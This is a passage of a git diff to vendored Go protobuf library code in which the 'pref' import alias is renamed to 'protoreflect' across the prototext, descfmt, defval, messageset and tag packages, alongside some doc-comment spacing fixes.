fd.Enum().Values().ByName(pref.Name(lit)); enumVal != nil { - return pref.ValueOfEnum(enumVal.Number()), nil + if enumVal := fd.Enum().Values().ByName(protoreflect.Name(lit)); enumVal != nil { + return protoreflect.ValueOfEnum(enumVal.Number()), nil } } if num, ok := tok.Int32(); ok { - return pref.ValueOfEnum(pref.EnumNumber(num)), nil + return protoreflect.ValueOfEnum(protoreflect.EnumNumber(num)), nil } default: panic(fmt.Sprintf("invalid scalar kind %v", kind)) } - return pref.Value{}, d.newError(tok.Pos(), "invalid value for %v type: %v", kind, tok.RawString()) + return protoreflect.Value{}, d.newError(tok.Pos(), "invalid value for %v type: %v", kind, tok.RawString()) } // unmarshalList unmarshals into given protoreflect.List. A list value can // either be in [] syntax or simply just a single scalar/message value. -func (d decoder) unmarshalList(fd pref.FieldDescriptor, list pref.List) error { +func (d decoder) unmarshalList(fd protoreflect.FieldDescriptor, list protoreflect.List) error { tok, err := d.Peek() if err != nil { return err } switch fd.Kind() { - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: switch tok.Kind() { case text.ListOpen: d.Read() @@ -441,22 +441,22 @@ func (d decoder) unmarshalList(fd pref.FieldDescriptor, list pref.List) error { // unmarshalMap unmarshals into given protoreflect.Map. A map value is a // textproto message containing {key: <kvalue>, value: <mvalue>}. -func (d decoder) unmarshalMap(fd pref.FieldDescriptor, mmap pref.Map) error { +func (d decoder) unmarshalMap(fd protoreflect.FieldDescriptor, mmap protoreflect.Map) error { // Determine ahead whether map entry is a scalar type or a message type in // order to call the appropriate unmarshalMapValue func inside // unmarshalMapEntry. - var unmarshalMapValue func() (pref.Value, error) + var unmarshalMapValue func() (protoreflect.Value, error) switch fd.MapValue().Kind() { - case pref.MessageKind, pref.GroupKind: - unmarshalMapValue = func() (pref.Value, error) { + case protoreflect.MessageKind, protoreflect.GroupKind: + unmarshalMapValue = func() (protoreflect.Value, error) { pval := mmap.NewValue() if err := d.unmarshalMessage(pval.Message(), true); err != nil { - return pref.Value{}, err + return protoreflect.Value{}, err } return pval, nil } default: - unmarshalMapValue = func() (pref.Value, error) { + unmarshalMapValue = func() (protoreflect.Value, error) { return d.unmarshalScalar(fd.MapValue()) } } @@ -494,9 +494,9 @@ func (d decoder) unmarshalMap(fd pref.FieldDescriptor, mmap pref.Map) error { // unmarshalMap unmarshals into given protoreflect.Map. A map value is a // textproto message containing {key: <kvalue>, value: <mvalue>}. -func (d decoder) unmarshalMapEntry(fd pref.FieldDescriptor, mmap pref.Map, unmarshalMapValue func() (pref.Value, error)) error { - var key pref.MapKey - var pval pref.Value +func (d decoder) unmarshalMapEntry(fd protoreflect.FieldDescriptor, mmap protoreflect.Map, unmarshalMapValue func() (protoreflect.Value, error)) error { + var key protoreflect.MapKey + var pval protoreflect.Value Loop: for { // Read field name. @@ -520,7 +520,7 @@ Loop: return d.unexpectedTokenError(tok) } - switch name := pref.Name(tok.IdentName()); name { + switch name := protoreflect.Name(tok.IdentName()); name { case genid.MapEntry_Key_field_name: if !tok.HasSeparator() { return d.syntaxError(tok.Pos(), "missing field separator :") @@ -535,7 +535,7 @@ Loop: key = val.MapKey() case genid.MapEntry_Value_field_name: - if kind := fd.MapValue().Kind(); (kind != pref.MessageKind) && (kind != pref.GroupKind) { + if kind := fd.MapValue().Kind(); (kind != protoreflect.MessageKind) && (kind != protoreflect.GroupKind) { if !tok.HasSeparator() { return d.syntaxError(tok.Pos(), "missing field separator :") } @@ -561,7 +561,7 @@ Loop: } if !pval.IsValid() { switch fd.MapValue().Kind() { - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: // If value field is not set for message/group types, construct an // empty one as default. pval = mmap.NewValue() @@ -575,7 +575,7 @@ Loop: // unmarshalAny unmarshals an Any textproto. It can either be in expanded form // or non-expanded form. -func (d decoder) unmarshalAny(m pref.Message, checkDelims bool) error { +func (d decoder) unmarshalAny(m protoreflect.Message, checkDelims bool) error { var typeURL string var bValue []byte var seenTypeUrl bool @@ -619,7 +619,7 @@ Loop: return d.syntaxError(tok.Pos(), "missing field separator :") } - switch name := pref.Name(tok.IdentName()); name { + switch name := protoreflect.Name(tok.IdentName()); name { case genid.Any_TypeUrl_field_name: if seenTypeUrl { return d.newError(tok.Pos(), "duplicate %v field", genid.Any_TypeUrl_field_fullname) @@ -686,10 +686,10 @@ Loop: fds := m.Descriptor().Fields() if len(typeURL) > 0 { - m.Set(fds.ByNumber(genid.Any_TypeUrl_field_number), pref.ValueOfString(typeURL)) + m.Set(fds.ByNumber(genid.Any_TypeUrl_field_number), protoreflect.ValueOfString(typeURL)) } if len(bValue) > 0 { - m.Set(fds.ByNumber(genid.Any_Value_field_number), pref.ValueOfBytes(bValue)) + m.Set(fds.ByNumber(genid.Any_Value_field_number), protoreflect.ValueOfBytes(bValue)) } return nil } diff --git a/vendor/google.golang.org/protobuf/encoding/prototext/encode.go b/vendor/google.golang.org/protobuf/encoding/prototext/encode.go index 8d5304dc5..ebf6c6528 100644 --- a/vendor/google.golang.org/protobuf/encoding/prototext/encode.go +++ b/vendor/google.golang.org/protobuf/encoding/prototext/encode.go @@ -20,7 +20,6 @@ import ( "google.golang.org/protobuf/internal/strs" "google.golang.org/protobuf/proto" "google.golang.org/protobuf/reflect/protoreflect" - pref "google.golang.org/protobuf/reflect/protoreflect" "google.golang.org/protobuf/reflect/protoregistry" ) @@ -150,7 +149,7 @@ type encoder struct { } // marshalMessage marshals the given protoreflect.Message. -func (e encoder) marshalMessage(m pref.Message, inclDelims bool) error { +func (e encoder) marshalMessage(m protoreflect.Message, inclDelims bool) error { messageDesc := m.Descriptor() if !flags.ProtoLegacy && messageset.IsMessageSet(messageDesc) { return errors.New("no support for proto1 MessageSets") @@ -190,7 +189,7 @@ func (e encoder) marshalMessage(m pref.Message, inclDelims bool) error { } // marshalField marshals the given field with protoreflect.Value. -func (e encoder) marshalField(name string, val pref.Value, fd pref.FieldDescriptor) error { +func (e encoder) marshalField(name string, val protoreflect.Value, fd protoreflect.FieldDescriptor) error { switch { case fd.IsList(): return e.marshalList(name, val.List(), fd) @@ -204,40 +203,40 @@ func (e encoder) marshalField(name string, val pref.Value, fd pref.FieldDescript // marshalSingular marshals the given non-repeated field value. This includes // all scalar types, enums, messages, and groups. -func (e encoder) marshalSingular(val pref.Value, fd pref.FieldDescriptor) error { +func (e encoder) marshalSingular(val protoreflect.Value, fd protoreflect.FieldDescriptor) error { kind := fd.Kind() switch kind { - case pref.BoolKind: + case protoreflect.BoolKind: e.WriteBool(val.Bool()) - case pref.StringKind: + case protoreflect.StringKind: s := val.String() if !e.opts.allowInvalidUTF8 && strs.EnforceUTF8(fd) && !utf8.ValidString(s) { return errors.InvalidUTF8(string(fd.FullName())) } e.WriteString(s) - case pref.Int32Kind, pref.Int64Kind, - pref.Sint32Kind, pref.Sint64Kind, - pref.Sfixed32Kind, pref.Sfixed64Kind: + case protoreflect.Int32Kind, protoreflect.Int64Kind, + protoreflect.Sint32Kind, protoreflect.Sint64Kind, + protoreflect.Sfixed32Kind, protoreflect.Sfixed64Kind: e.WriteInt(val.Int()) - case pref.Uint32Kind, pref.Uint64Kind, - pref.Fixed32Kind, pref.Fixed64Kind: + case protoreflect.Uint32Kind, protoreflect.Uint64Kind, + protoreflect.Fixed32Kind, protoreflect.Fixed64Kind: e.WriteUint(val.Uint()) - case pref.FloatKind: + case protoreflect.FloatKind: // Encoder.WriteFloat handles the special numbers NaN and infinites. e.WriteFloat(val.Float(), 32) - case pref.DoubleKind: + case protoreflect.DoubleKind: // Encoder.WriteFloat handles the special numbers NaN and infinites. e.WriteFloat(val.Float(), 64) - case pref.BytesKind: + case protoreflect.BytesKind: e.WriteString(string(val.Bytes())) - case pref.EnumKind: + case protoreflect.EnumKind: num := val.Enum() if desc := fd.Enum().Values().ByNumber(num); desc != nil { e.WriteLiteral(string(desc.Name())) @@ -246,7 +245,7 @@ func (e encoder) marshalSingular(val pref.Value, fd pref.FieldDescriptor) error e.WriteInt(int64(num)) } - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: return e.marshalMessage(val.Message(), true) default: @@ -256,7 +255,7 @@ func (e encoder) marshalSingular(val pref.Value, fd pref.FieldDescriptor) error } // marshalList marshals the given protoreflect.List as multiple name-value fields. -func (e encoder) marshalList(name string, list pref.List, fd pref.FieldDescriptor) error { +func (e encoder) marshalList(name string, list protoreflect.List, fd protoreflect.FieldDescriptor) error { size := list.Len() for i := 0; i < size; i++ { e.WriteName(name) @@ -268,9 +267,9 @@ func (e encoder) marshalList(name string, list pref.List, fd pref.FieldDescripto } // marshalMap marshals the given protoreflect.Map as multiple name-value fields. -func (e encoder) marshalMap(name string, mmap pref.Map, fd pref.FieldDescriptor) error { +func (e encoder) marshalMap(name string, mmap protoreflect.Map, fd protoreflect.FieldDescriptor) error { var err error - order.RangeEntries(mmap, order.GenericKeyOrder, func(key pref.MapKey, val pref.Value) bool { + order.RangeEntries(mmap, order.GenericKeyOrder, func(key protoreflect.MapKey, val protoreflect.Value) bool { e.WriteName(name) e.StartMessage() defer e.EndMessage() @@ -334,7 +333,7 @@ func (e encoder) marshalUnknown(b []byte) { // marshalAny marshals the given google.protobuf.Any message in expanded form. // It returns true if it was able to marshal, else false. -func (e encoder) marshalAny(any pref.Message) bool { +func (e encoder) marshalAny(any protoreflect.Message) bool { // Construct the embedded message. fds := any.Descriptor().Fields() fdType := fds.ByNumber(genid.Any_TypeUrl_field_number) diff --git a/vendor/google.golang.org/protobuf/encoding/protowire/wire.go b/vendor/google.golang.org/protobuf/encoding/protowire/wire.go index 9c61112f5..ce57f57eb 100644 --- a/vendor/google.golang.org/protobuf/encoding/protowire/wire.go +++ b/vendor/google.golang.org/protobuf/encoding/protowire/wire.go @@ -516,6 +516,7 @@ func EncodeTag(num Number, typ Type) uint64 { } // DecodeZigZag decodes a zig-zag-encoded uint64 as an int64. +// // Input: {…, 5, 3, 1, 0, 2, 4, 6, …} // Output: {…, -3, -2, -1, 0, +1, +2, +3, …} func DecodeZigZag(x uint64) int64 { @@ -523,6 +524,7 @@ func DecodeZigZag(x uint64) int64 { } // EncodeZigZag encodes an int64 as a zig-zag-encoded uint64. +// // Input: {…, -3, -2, -1, 0, +1, +2, +3, …} // Output: {…, 5, 3, 1, 0, 2, 4, 6, …} func EncodeZigZag(x int64) uint64 { @@ -530,6 +532,7 @@ func EncodeZigZag(x int64) uint64 { } // DecodeBool decodes a uint64 as a bool. +// // Input: { 0, 1, 2, …} // Output: {false, true, true, …} func DecodeBool(x uint64) bool { @@ -537,6 +540,7 @@ func DecodeBool(x uint64) bool { } // EncodeBool encodes a bool as a uint64. +// // Input: {false, true} // Output: { 0, 1} func EncodeBool(x bool) uint64 { diff --git a/vendor/google.golang.org/protobuf/internal/descfmt/stringer.go b/vendor/google.golang.org/protobuf/internal/descfmt/stringer.go index 360c63329..db5248e1b 100644 --- a/vendor/google.golang.org/protobuf/internal/descfmt/stringer.go +++ b/vendor/google.golang.org/protobuf/internal/descfmt/stringer.go @@ -14,7 +14,7 @@ import ( "google.golang.org/protobuf/internal/detrand" "google.golang.org/protobuf/internal/pragma" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) type list interface { @@ -30,17 +30,17 @@ func formatListOpt(vs list, isRoot, allowMulti bool) string { if isRoot { var name string switch vs.(type) { - case pref.Names: + case protoreflect.Names: name = "Names" - case pref.FieldNumbers: + case protoreflect.FieldNumbers: name = "FieldNumbers" - case pref.FieldRanges: + case protoreflect.FieldRanges: name = "FieldRanges" - case pref.EnumRanges: + case protoreflect.EnumRanges: name = "EnumRanges" - case pref.FileImports: + case protoreflect.FileImports: name = "FileImports" - case pref.Descriptor: + case protoreflect.Descriptor: name = reflect.ValueOf(vs).MethodByName("Get").Type().Out(0).Name() + "s" default: name = reflect.ValueOf(vs).Elem().Type().Name() @@ -50,17 +50,17 @@ func formatListOpt(vs list, isRoot, allowMulti bool) string { var ss []string switch vs := vs.(type) { - case pref.Names: + case protoreflect.Names: for i := 0; i < vs.Len(); i++ { ss = append(ss, fmt.Sprint(vs.Get(i))) } return start + joinStrings(ss, false) + end - case pref.FieldNumbers: + case protoreflect.FieldNumbers: for i := 0; i < vs.Len(); i++ { ss = append(ss, fmt.Sprint(vs.Get(i))) } return start + joinStrings(ss, false) + end - case pref.FieldRanges: + case protoreflect.FieldRanges: for i := 0; i < vs.Len(); i++ { r := vs.Get(i) if r[0]+1 == r[1] { @@ -70,7 +70,7 @@ func formatListOpt(vs list, isRoot, allowMulti bool) string { } } return start + joinStrings(ss, false) + end - case pref.EnumRanges: + case protoreflect.EnumRanges: for i := 0; i < vs.Len(); i++ { r := vs.Get(i) if r[0] == r[1] { @@ -80,7 +80,7 @@ func formatListOpt(vs list, isRoot, allowMulti bool) string { } } return start + joinStrings(ss, false) + end - case pref.FileImports: + case protoreflect.FileImports: for i := 0; i < vs.Len(); i++ { var rs records rs.Append(reflect.ValueOf(vs.Get(i)), "Path", "Package", "IsPublic", "IsWeak") @@ -88,11 +88,11 @@ func formatListOpt(vs list, isRoot, allowMulti bool) string { } return start + joinStrings(ss, allowMulti) + end default: - _, isEnumValue := vs.(pref.EnumValueDescriptors) + _, isEnumValue := vs.(protoreflect.EnumValueDescriptors) for i := 0; i < vs.Len(); i++ { m := reflect.ValueOf(vs).MethodByName("Get") v := m.Call([]reflect.Value{reflect.ValueOf(i)})[0].Interface() - ss = append(ss, formatDescOpt(v.(pref.Descriptor), false, allowMulti && !isEnumValue)) + ss = append(ss, formatDescOpt(v.(protoreflect.Descriptor), false, allowMulti && !isEnumValue)) } return start + joinStrings(ss, allowMulti && isEnumValue) + end } @@ -106,20 +106,20 @@ func formatListOpt(vs list, isRoot, allowMulti bool) string { // // Using a list allows us to print the accessors in a sensible order. var descriptorAccessors = map[reflect.Type][]string{ - reflect.TypeOf((*pref.FileDescriptor)(nil)).Elem(): {"Path", "Package", "Imports", "Messages", "Enums", "Extensions", "Services"}, - reflect.TypeOf((*pref.MessageDescriptor)(nil)).Elem(): {"IsMapEntry", "Fields", "Oneofs", "ReservedNames", "ReservedRanges", "RequiredNumbers", "ExtensionRanges", "Messages", "Enums", "Extensions"}, - reflect.TypeOf((*pref.FieldDescriptor)(nil)).Elem(): {"Number", "Cardinality", "Kind", "HasJSONName", "JSONName", "HasPresence", "IsExtension", "IsPacked", "IsWeak", "IsList", "IsMap", "MapKey", "MapValue", "HasDefault", "Default", "ContainingOneof", "ContainingMessage", "Message", "Enum"}, - reflect.TypeOf((*pref.OneofDescriptor)(nil)).Elem(): {"Fields"}, // not directly used; must keep in sync with formatDescOpt - reflect.TypeOf((*pref.EnumDescriptor)(nil)).Elem(): {"Values", "ReservedNames", "ReservedRanges"}, - reflect.TypeOf((*pref.EnumValueDescriptor)(nil)).Elem(): {"Number"}, - reflect.TypeOf((*pref.ServiceDescriptor)(nil)).Elem(): {"Methods"}, - reflect.TypeOf((*pref.MethodDescriptor)(nil)).Elem(): {"Input", "Output", "IsStreamingClient", "IsStreamingServer"}, + reflect.TypeOf((*protoreflect.FileDescriptor)(nil)).Elem(): {"Path", "Package", "Imports", "Messages", "Enums", "Extensions", "Services"}, + reflect.TypeOf((*protoreflect.MessageDescriptor)(nil)).Elem(): {"IsMapEntry", "Fields", "Oneofs", "ReservedNames", "ReservedRanges", "RequiredNumbers", "ExtensionRanges", "Messages", "Enums", "Extensions"}, + reflect.TypeOf((*protoreflect.FieldDescriptor)(nil)).Elem(): {"Number", "Cardinality", "Kind", "HasJSONName", "JSONName", "HasPresence", "IsExtension", "IsPacked", "IsWeak", "IsList", "IsMap", "MapKey", "MapValue", "HasDefault", "Default", "ContainingOneof", "ContainingMessage", "Message", "Enum"}, + reflect.TypeOf((*protoreflect.OneofDescriptor)(nil)).Elem(): {"Fields"}, // not directly used; must keep in sync with formatDescOpt + reflect.TypeOf((*protoreflect.EnumDescriptor)(nil)).Elem(): {"Values", "ReservedNames", "ReservedRanges"}, + reflect.TypeOf((*protoreflect.EnumValueDescriptor)(nil)).Elem(): {"Number"}, + reflect.TypeOf((*protoreflect.ServiceDescriptor)(nil)).Elem(): {"Methods"}, + reflect.TypeOf((*protoreflect.MethodDescriptor)(nil)).Elem(): {"Input", "Output", "IsStreamingClient", "IsStreamingServer"}, } -func FormatDesc(s fmt.State, r rune, t pref.Descriptor) { +func FormatDesc(s fmt.State, r rune, t protoreflect.Descriptor) { io.WriteString(s, formatDescOpt(t, true, r == 'v' && (s.Flag('+') || s.Flag('#')))) } -func formatDescOpt(t pref.Descriptor, isRoot, allowMulti bool) string { +func formatDescOpt(t protoreflect.Descriptor, isRoot, allowMulti bool) string { rv := reflect.ValueOf(t) rt := rv.MethodByName("ProtoType").Type().In(0) @@ -128,7 +128,7 @@ func formatDescOpt(t pref.Descriptor, isRoot, allowMulti bool) string { start = rt.Name() + "{" } - _, isFile := t.(pref.FileDescriptor) + _, isFile := t.(protoreflect.FileDescriptor) rs := records{allowMulti: allowMulti} if t.IsPlaceholder() { if isFile { @@ -146,7 +146,7 @@ func formatDescOpt(t pref.Descriptor, isRoot, allowMulti bool) string { rs.Append(rv, "Name") } switch t := t.(type) { - case pref.FieldDescriptor: + case protoreflect.FieldDescriptor: for _, s := range descriptorAccessors[rt] { switch s { case "MapKey": @@ -156,9 +156,9 @@ func formatDescOpt(t pref.Descriptor, isRoot, allowMulti bool) string { case "MapValue": if v := t.MapValue(); v != nil { switch v.Kind() { - case pref.EnumKind: + case protoreflect.EnumKind: rs.recs = append(rs.recs, [2]string{"MapValue", string(v.Enum().FullName())}) - case pref.MessageKind, pref.GroupKind: + case protoreflect.MessageKind, protoreflect.GroupKind: rs.recs = append(rs.recs, [2]string{"MapValue", string(v.Message().FullName())}) default: rs.recs = append(rs.recs, [2]string{"MapValue", v.Kind().String()}) @@ -180,7 +180,7 @@ func formatDescOpt(t pref.Descriptor, isRoot, allowMulti bool) string { rs.Append(rv, s) } } - case pref.OneofDescriptor: + case protoreflect.OneofDescriptor: var ss []string fs := t.Fields() for i := 0; i < fs.Len(); i++ { @@ -216,7 +216,7 @@ func (rs *records) Append(v reflect.Value, accessors ...string) { if !rv.IsValid() { panic(fmt.Sprintf("unknown accessor: %v.%s", v.Type(), a)) } - if _, ok := rv.Interface().(pref.Value); ok { + if _, ok := rv.Interface().(protoreflect.Value); ok { rv = rv.MethodByName("Interface").Call(nil)[0] if !rv.IsNil() { rv = rv.Elem() @@ -250,9 +250,9 @@ func (rs *records) Append(v reflect.Value, accessors ...string) { switch v := v.(type) { case list: s = formatListOpt(v, false, rs.allowMulti) - case pref.FieldDescriptor, pref.OneofDescriptor, pref.EnumValueDescriptor, pref.MethodDescriptor: - s = string(v.(pref.Descriptor).Name()) - case pref.Descriptor: + case protoreflect.FieldDescriptor, protoreflect.OneofDescriptor, protoreflect.EnumValueDescriptor, protoreflect.MethodDescriptor: + s = string(v.(protoreflect.Descriptor).Name()) + case protoreflect.Descriptor: s = string(v.FullName()) case string: s = strconv.Quote(v) diff --git a/vendor/google.golang.org/protobuf/internal/encoding/defval/default.go b/vendor/google.golang.org/protobuf/internal/encoding/defval/default.go index fdd9b13f2..328dc733b 100644 --- a/vendor/google.golang.org/protobuf/internal/encoding/defval/default.go +++ b/vendor/google.golang.org/protobuf/internal/encoding/defval/default.go @@ -15,8 +15,8 @@ import ( "strconv" ptext "google.golang.org/protobuf/internal/encoding/text" - errors "google.golang.org/protobuf/internal/errors" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/internal/errors" + "google.golang.org/protobuf/reflect/protoreflect" ) // Format is the serialization format used to represent the default value. @@ -35,56 +35,56 @@ const ( // Unmarshal deserializes the default string s according to the given kind k. // When k is an enum, a list of enum value descriptors must be provided. -func Unmarshal(s string, k pref.Kind, evs pref.EnumValueDescriptors, f Format) (pref.Value, pref.EnumValueDescriptor, error) { +func Unmarshal(s string, k protoreflect.Kind, evs protoreflect.EnumValueDescriptors, f Format) (protoreflect.Value, protoreflect.EnumValueDescriptor, error) { switch k { - case pref.BoolKind: + case protoreflect.BoolKind: if f == GoTag { switch s { case "1": - return pref.ValueOfBool(true), nil, nil + return protoreflect.ValueOfBool(true), nil, nil case "0": - return pref.ValueOfBool(false), nil, nil + return protoreflect.ValueOfBool(false), nil, nil } } else { switch s { case "true": - return pref.ValueOfBool(true), nil, nil + return protoreflect.ValueOfBool(true), nil, nil case "false": - return pref.ValueOfBool(false), nil, nil + return protoreflect.ValueOfBool(false), nil, nil } } - case pref.EnumKind: + case protoreflect.EnumKind: if f == GoTag { // Go tags use the numeric form of the enum value. if n, err := strconv.ParseInt(s, 10, 32); err == nil { - if ev := evs.ByNumber(pref.EnumNumber(n)); ev != nil { - return pref.ValueOfEnum(ev.Number()), ev, nil + if ev := evs.ByNumber(protoreflect.EnumNumber(n)); ev != nil { + return protoreflect.ValueOfEnum(ev.Number()), ev, nil } } } else { // Descriptor default_value use the enum identifier. - ev := evs.ByName(pref.Name(s)) + ev := evs.ByName(protoreflect.Name(s)) if ev != nil { - return pref.ValueOfEnum(ev.Number()), ev, nil + return protoreflect.ValueOfEnum(ev.Number()), ev, nil } } - case pref.Int32Kind, pref.Sint32Kind, pref.Sfixed32Kind: + case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind: if v, err := strconv.ParseInt(s, 10, 32); err == nil { - return pref.ValueOfInt32(int32(v)), nil, nil + return protoreflect.ValueOfInt32(int32(v)), nil, nil } - case pref.Int64Kind, pref.Sint64Kind, pref.Sfixed64Kind: + case protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed64Kind: if v, err := strconv.ParseInt(s, 10, 64); err == nil { - return pref.ValueOfInt64(int64(v)), nil, nil + return protoreflect.ValueOfInt64(int64(v)), nil, nil } - case pref.Uint32Kind, pref.Fixed32Kind: + case protoreflect.Uint32Kind, protoreflect.Fixed32Kind: if v, err := strconv.ParseUint(s, 10, 32); err == nil { - return pref.ValueOfUint32(uint32(v)), nil, nil + return protoreflect.ValueOfUint32(uint32(v)), nil, nil } - case pref.Uint64Kind, pref.Fixed64Kind: + case protoreflect.Uint64Kind, protoreflect.Fixed64Kind: if v, err := strconv.ParseUint(s, 10, 64); err == nil { - return pref.ValueOfUint64(uint64(v)), nil, nil + return protoreflect.ValueOfUint64(uint64(v)), nil, nil } - case pref.FloatKind, pref.DoubleKind: + case protoreflect.FloatKind, protoreflect.DoubleKind: var v float64 var err error switch s { @@ -98,29 +98,29 @@ func Unmarshal(s string, k pref.Kind, evs pref.EnumValueDescriptors, f Format) ( v, err = strconv.ParseFloat(s, 64) } if err == nil { - if k == pref.FloatKind { - return pref.ValueOfFloat32(float32(v)), nil, nil + if k == protoreflect.FloatKind { + return protoreflect.ValueOfFloat32(float32(v)), nil, nil } else { - return pref.ValueOfFloat64(float64(v)), nil, nil + return protoreflect.ValueOfFloat64(float64(v)), nil, nil } } - case pref.StringKind: + case protoreflect.StringKind: // String values are already unescaped and can be used as is. - return pref.ValueOfString(s), nil, nil - case pref.BytesKind: + return protoreflect.ValueOfString(s), nil, nil + case protoreflect.BytesKind: if b, ok := unmarshalBytes(s); ok { - return pref.ValueOfBytes(b), nil, nil + return protoreflect.ValueOfBytes(b), nil, nil } } - return pref.Value{}, nil, errors.New("could not parse value for %v: %q", k, s) + return protoreflect.Value{}, nil, errors.New("could not parse value for %v: %q", k, s) } // Marshal serializes v as the default string according to the given kind k. // When specifying the Descriptor format for an enum kind, the associated // enum value descriptor must be provided. -func Marshal(v pref.Value, ev pref.EnumValueDescriptor, k pref.Kind, f Format) (string, error) { +func Marshal(v protoreflect.Value, ev protoreflect.EnumValueDescriptor, k protoreflect.Kind, f Format) (string, error) { switch k { - case pref.BoolKind: + case protoreflect.BoolKind: if f == GoTag { if v.Bool() { return "1", nil @@ -134,17 +134,17 @@ func Marshal(v pref.Value, ev pref.EnumValueDescriptor, k pref.Kind, f Format) ( return "false", nil } } - case pref.EnumKind: + case protoreflect.EnumKind: if f == GoTag { return strconv.FormatInt(int64(v.Enum()), 10), nil } else { return string(ev.Name()), nil } - case pref.Int32Kind, pref.Sint32Kind, pref.Sfixed32Kind, pref.Int64Kind, pref.Sint64Kind, pref.Sfixed64Kind: + case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind, protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed64Kind: return strconv.FormatInt(v.Int(), 10), nil - case pref.Uint32Kind, pref.Fixed32Kind, pref.Uint64Kind, pref.Fixed64Kind: + case protoreflect.Uint32Kind, protoreflect.Fixed32Kind, protoreflect.Uint64Kind, protoreflect.Fixed64Kind: return strconv.FormatUint(v.Uint(), 10), nil - case pref.FloatKind, pref.DoubleKind: + case protoreflect.FloatKind, protoreflect.DoubleKind: f := v.Float() switch { case math.IsInf(f, -1): @@ -154,16 +154,16 @@ func Marshal(v pref.Value, ev pref.EnumValueDescriptor, k pref.Kind, f Format) ( case math.IsNaN(f): return "nan", nil default: - if k == pref.FloatKind { + if k == protoreflect.FloatKind { return strconv.FormatFloat(f, 'g', -1, 32), nil } else { return strconv.FormatFloat(f, 'g', -1, 64), nil } } - case pref.StringKind: + case protoreflect.StringKind: // String values are serialized as is without any escaping. return v.String(), nil - case pref.BytesKind: + case protoreflect.BytesKind: if s, ok := marshalBytes(v.Bytes()); ok { return s, nil } diff --git a/vendor/google.golang.org/protobuf/internal/encoding/messageset/messageset.go b/vendor/google.golang.org/protobuf/internal/encoding/messageset/messageset.go index c1866f3c1..a6693f0a2 100644 --- a/vendor/google.golang.org/protobuf/internal/encoding/messageset/messageset.go +++ b/vendor/google.golang.org/protobuf/internal/encoding/messageset/messageset.go @@ -10,7 +10,7 @@ import ( "google.golang.org/protobuf/encoding/protowire" "google.golang.org/protobuf/internal/errors" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) // The MessageSet wire format is equivalent to a message defined as follows, @@ -33,6 +33,7 @@ const ( // ExtensionName is the field name for extensions of MessageSet. // // A valid MessageSet extension must be of the form: +// // message MyMessage { // extend proto2.bridge.MessageSet { // optional MyMessage message_set_extension = 1234; @@ -42,13 +43,13 @@ const ( const ExtensionName = "message_set_extension" // IsMessageSet returns whether the message uses the MessageSet wire format. -func IsMessageSet(md pref.MessageDescriptor) bool { +func IsMessageSet(md protoreflect.MessageDescriptor) bool { xmd, ok := md.(interface{ IsMessageSet() bool }) return ok && xmd.IsMessageSet() } // IsMessageSetExtension reports this field properly extends a MessageSet. -func IsMessageSetExtension(fd pref.FieldDescriptor) bool { +func IsMessageSetExtension(fd protoreflect.FieldDescriptor) bool { switch { case fd.Name() != ExtensionName: return false diff --git a/vendor/google.golang.org/protobuf/internal/encoding/tag/tag.go b/vendor/google.golang.org/protobuf/internal/encoding/tag/tag.go index 38f1931c6..373d20837 100644 --- a/vendor/google.golang.org/protobuf/internal/encoding/tag/tag.go +++ b/vendor/google.golang.org/protobuf/internal/encoding/tag/tag.go @@ -11,10 +11,10 @@ import ( "strconv" "strings" - defval "google.golang.org/protobuf/internal/encoding/defval" - fdesc "google.golang.org/protobuf/internal/filedesc" + "google.golang.org/protobuf/internal/encoding/defval" + "google.golang.org/protobuf/internal/filedesc" "google.golang.org/protobuf/internal/strs" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" ) var byteType = reflect.TypeOf(byte(0)) @@ -29,9 +29,9 @@ var byteType = reflect.TypeOf(byte(0)) // This does not populate the Enum or Message (except for weak message). // // This function is a best effort attempt; parsing errors are ignored. -func Unmarshal(tag string, goType reflect.Type, evs pref.EnumValueDescriptors) pref.FieldDescriptor { - f := new(fdesc.Field) - f.L0.ParentFile = fdesc.SurrogateProto2 +func Unmarshal(tag string, goType reflect.Type, evs protoreflect.EnumValueDescriptors) protoreflect.FieldDescriptor { + f := new(filedesc.Field) + f.L0.ParentFile = filedesc.SurrogateProto2 for len(tag) > 0 { i := strings.IndexByte(tag, ',') if i < 0 { @@ -39,68 +39,68 @@ func Unmarshal(tag string, goType reflect.Type, evs pref.EnumValueDescriptors) p } switch s := tag[:i]; { case strings.HasPrefix(s, "name="): - f.L0.FullName = pref.FullName(s[len("name="):]) + f.L0.FullName = protoreflect.FullName(s[len("name="):]) case strings.Trim(s, "0123456789") == "": n, _ := strconv.ParseUint(s, 10, 32) - f.L1.Number = pref.FieldNumber(n) + f.L1.Number = protoreflect.FieldNumber(n) case s == "opt": - f.L1.Cardinality = pref.Optional + f.L1.Cardinality = protoreflect.Optional case s == "req": - f.L1.Cardinality = pref.Required + f.L1.Cardinality = protoreflect.Required case s == "rep": - f.L1.Cardinality = pref.Repeated + f.L1.Cardinality = protoreflect.Repeated case s == "varint": switch goType.Kind() { case reflect.Bool: - f.L1.Kind = pref.BoolKind + f.L1.Kind = protoreflect.BoolKind case reflect.Int32: - f.L1.Kind = pref.Int32Kind + f.L1.Kind = protoreflect.Int32Kind case reflect.Int64: - f.L1.Kind = pref.Int64Kind + f.L1.Kind = protoreflect.Int64Kind case reflect.Uint32: - f.L1.Kind = pref.Uint32Kind + f.L1.Kind = protoreflect.Uint32Kind case reflect.Uint64: - f.L1.Kind = pref.Uint64Kind + f.L1.Kind = protoreflect.Uint64Kind } case s == "zigzag32": if goType.Kind() == reflect.Int32 { - f.L1.Kind = pref.Sint32Kind + f.L1.Kind = protoreflect.Sint32Kind } case s == "zigzag64": if goType.Kind() == reflect.Int64 { - f.L1.Kind = pref.Sint64Kind + f.L1.Kind = protoreflect.Sint64Kind } case s == 